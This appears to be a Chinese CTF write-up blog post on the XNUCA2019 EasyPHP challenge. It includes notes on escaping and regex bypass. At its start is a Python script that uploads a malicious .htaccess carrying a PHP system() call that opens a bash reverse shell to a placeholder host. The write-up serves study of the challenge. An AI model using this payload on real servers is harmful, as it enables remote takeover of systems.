import requests
url = 'http://02cdf9ef40d440d1bd0ba727da4b348c21ce0e526eea4fad.changame.ichunqiu.com/'
payload = '?filename=.htaccess&content=php_value%20auto_prepend_fi\\%0Ale%20".htaccess"\n%23<?php system(\'bash -c "/bin/bash -i >%26 /dev/tcp/ip/port 0<%261"\');?>\\'
url2 = url + payload
r = requests.get(url2)
req = request.get(url)
python 方法:
参考的文章,看最下面的那两篇就是了
总体:
这些方法看起来很棒,其实我感觉这都是参赛者当时 细心看PHP文档才发现的,而我辈现在直接看他们的现成的东西,如此巧妙的方法之下,是大佬们细心找到的bug点,其实真正应该习得的是认真看文档的能力,从很多的配置信息中找到我们能够利用的 点这个才是真正的能力
一、自己做:
做个毛,做,这个题是我能做出来的???
没有个数,看WP去,,
这个 正则,文件名开头不能是 字母开头,又不能是数字,那就只能够是.了啊,再看一下黑名单???防止马的黑名单是这个吗??
没见过的黑名单,那就是上传.htaccess了啊,
二、学到的&&不足:
1. python 上传.htaccess时的\问题
注意在用python传入的时候,这个用一个\,是不行的,在python中的\和Linux中的一样也是 连接两行的意思,
我们这里需要两个\\,这样转义一下,才行

这篇博客主要探讨了在BUUCTF的XNUCA2019Qualifier挑战中遇到的EasyPHP问题,涉及.htaccess文件的配置、上传及解析错误。作者分享了在Python上传.htaccess文件时需要注意的转义字符、注释符问题,以及通过查看Apache错误日志定位错误的方法。此外,还讨论了PHP正则匹配的绕过技巧和preg_match()的回调次数限制。
最低0.47元/天 解锁文章
560

被折叠的 条评论
为什么被折叠?



